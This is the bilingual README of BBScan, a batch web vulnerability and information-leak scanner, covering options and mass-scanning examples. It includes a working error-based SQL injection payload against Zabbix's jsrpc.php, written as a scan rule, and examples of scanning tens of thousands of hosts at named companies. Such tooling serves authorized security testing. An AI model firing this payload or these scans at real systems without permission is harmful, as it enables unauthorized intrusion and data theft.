BBScan is a tiny Batch weB+ vulnerability Scanner.
- BeautifulSoup4>=4.3.2
- py2-ipaddress>=3.4.1
- dnspython>=1.15.0
- gevent>=1.2.1
You can install required packages with pip
pip install -r requirements.txt
usage: BBScan.py [options]
* A tiny Batch weB+ vulnerability Scanner. *
By LiJieJie (http://www.lijiejie.com)
optional arguments:
-h, --help show this help message and exit
--host [HOST [HOST2 HOST3 ...] [HOST [HOST2 HOST3 ...] ...]]
Scan several hosts from command line
-f TargetFile Load new line delimited targets from TargetFile
-d TargetDirectory Load all *.txt files from TargetDirectory
--crawler TargetDirectory
Load all *.log crawler files from TargetDirectory
--full Process all sub directories.
-n, --no-crawl No crawling, sub folders will not be processed.
-nn, --no-check404 No HTTP 404 existence check
--scripts-only Scan with user scripts only
--no-scripts Disable user scripts scan
-p PROCESS Num of processes running concurrently, 30 by default
-t THREADS Num of scan threads for each scan process, 3 by default
--network MASK Scan all Target/MASK hosts,
should be an int between 24 and 31
--timeout Timeout Max scan minutes for each website, 20 by default
-nnn, --no-browser Do not view report with browser after scan finished
-md Save scan report as markdown format
-v show program's version number and exit
1. Scan several hosts from command line
python BBScan.py --host www.a.com www.b.com --browser
2. Scan www.target.com and all the other IPs under www.target.com/28
python BBScan.py --host www.target.com --network 28 --browser
3. Load newline delimited targets from file and scan
python BBScan.py -f wandoujia.com.txt
4. Load all targets from Directory(*.txt file only) and scan
python BBScan.py -d targets/
5. Load crawler logs from Directory(*.log file only) and scan
python BBScan.py --crawler crawler_logs/
crawler log files should be formarted first:
. GET http://www.iqiyi.com/ HTTP/1.1^^^200
. POST http://www.pps.tv/login.php HTTP/1.1^^^user=admin&passwd=admin^^^200
BBScan是一个迷你的信息泄漏批量扫描脚本。 可以通过文本批量导入主机或URL，以换行符分割。
--crawler 参数是v1.1新增的，可以导入爬虫日志发起扫描。 日志的格式，我们约定如下：
Request Line + 三个尖括号 + [POST请求body] + 三个尖括号 + HTTP状态码
示例如下：
. GET http://www.iqiyi.com/ HTTP/1.1^^^200
. POST http://www.pps.tv/login.php HTTP/1.1^^^user=admin&passwd=admin^^^200
--full 处理所有的子文件夹，比如 http://www.target.com/aa/bb/cc/, /aa/bb/cc/ /aa/bb/ /aa/ 三个path都将被扫描
-n, --no-crawl 不从首页抓取新的URL
-nn, --no-check404 不检查状态码404是否存在，不保存404页面的大小进行后续比对
以批量扫描 Zabbix SQL注入为例，在一个txt文件中写入规则：
/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim%20estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi%20story.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20user())x%20from%20information_schema.character_sets%20group%20by%20x)y)&updateProfil%20e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=%2017&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&%20mark_color=1 {tag="Duplicate entry"} {status=200} {type="text/plain"}
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&stamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim%20estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi%20story.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20user())x%20from%20information_schema.character_sets%20group%20by%20x)y)&updateProfil%20e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=%2017&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&%20mark_color=1 {tag="Duplicate entry"} {status=200} {type="text/plain"}
把所有HTTP like的服务写入 iqiyi.http.txt：
不要抓首页
不要检测404
并发2个线程、 50个进程
可以比较迅速地扫完几万个域名和IP地址：
BBScan.py --no-crawl --no-check404 -t2 -p50 -f iqiyi.http.txt
该插件是从内部扫描器中抽离出来的，感谢 Jekkay Hu<34538980[at]qq.com> ，欢迎提交有用的新规则